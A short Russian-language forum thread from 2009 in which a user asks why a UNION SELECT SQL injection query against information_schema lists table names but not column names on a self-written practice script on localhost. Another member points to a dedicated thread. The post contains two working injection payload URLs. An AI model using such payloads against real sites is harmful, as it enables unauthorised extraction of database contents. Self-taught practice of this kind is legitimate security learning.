sql-inj

Discussion in 'Болталка' started by kevmen, 23 Jan 2009.

  1. kevmen

    kevmen Member

    Joined:
    29 Oct 2008
    Messages:
    147
    Likes Received:
    23
    Reputations:
    0
    здравствуйте

    http://localhost/view_cat.php?cat=-1+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.COLUMNS+where+table_name='user'+limit+1,2

    Не выводит ничего!
    Хотя запрос вида

    http://localhost/school/view_cat.php?cat=-1+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables
    работатет и выводиться список всех таблиц,в чем моя ошибка?

    мне посоветовали перевести в hex
    Тогда такой вопрос?
    Зачем ?Если скрипт написал я сам для практики и никакой фильтрации там нет!
     
  2. Артем Солнце

    Joined:
    19 Jan 2009
    Messages:
    9
    Likes Received:
    16
    Reputations:
    0
    Вообще то для подобных вопросов отведена специальная тема: http://forum.antichat.ru/thread46016.html